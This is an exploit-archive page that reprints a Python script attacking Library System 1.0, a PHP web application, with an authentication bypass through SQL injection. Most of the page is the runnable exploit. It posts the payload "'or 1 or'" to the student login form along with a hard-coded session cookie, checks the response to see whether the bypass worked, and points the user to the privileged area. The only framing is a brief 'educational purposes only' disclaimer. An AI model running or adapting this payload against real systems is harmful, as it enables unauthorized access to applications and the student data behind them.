Library system 1.0 authentication bypass via sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-22 | Type : webapps | Platform : php
This exploit / vulnerability Library system 1.0 authentication bypass via sql injection is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Library System 1.0 - Authentication Bypass Via SQL Injection
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip
# Version: 1.0
# Tested On: Windows 10 + XAMPP 7.4.4
# Description: Library System 1.0 - Authentication Bypass Via SQL Injection
#STEP 1 : Run The Exploit With This Command : python3 exploit.py
#STEP 2 : Input the URL of Vulnable Application. For Example: http://10.9.67.23/libsystem/
#STEP 3 : Open the Link Provided At The End After Successful authentication bypass in Browser.

#Note - You Will Only Be Able To Access The Student Area as a Privileged User.

import requests
YELLOW = '\033[33m' # Yellow Text
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+' _ ______ _ _ ___ ', RESET)
print(YELLOW+' ___| |_ ___ / / ___|| |__ __ _ __| |/ _ \__ __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'| __/ || (__ / / ___) | | | | (_| | (_| | |_| |\ V V / ', RESET)
print(YELLOW+' \___|\__\___/_/ |____/|_| |_|\__,_|\__,_|\___/ \_/\_/ ', RESET)
print(YELLOW+" ", RESET)
print('********************************************************')
print('** LIBRARY SYSTEM 1.0 **')
print('** AUTHENTICATION BYPASS USING SQL INJECTION **')
print('********************************************************')

print('Author - Himanshu Shukla')


#Create a new session

s = requests.Session()

#Set Cookie
cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass
print("[*]Attempting Authentication Bypass...")
values = {"student":"'or 1 or'","login":""}
r=s.post(LINK+'login.php', data=values, cookies=cookies)

r=s.post(LINK+'login.php', data=values, cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if not("Student not found" in r.text) else False
l=logged_in
if l:
print(GREEN+"[+]Authentication Bypass Successful!", RESET)
print(YELLOW+"[+]Open This Link To Continue As Privileged User : "+LINK+"index.php", RESET)
else:
print(RED+"[-]Failed To Authenticate!", RESET)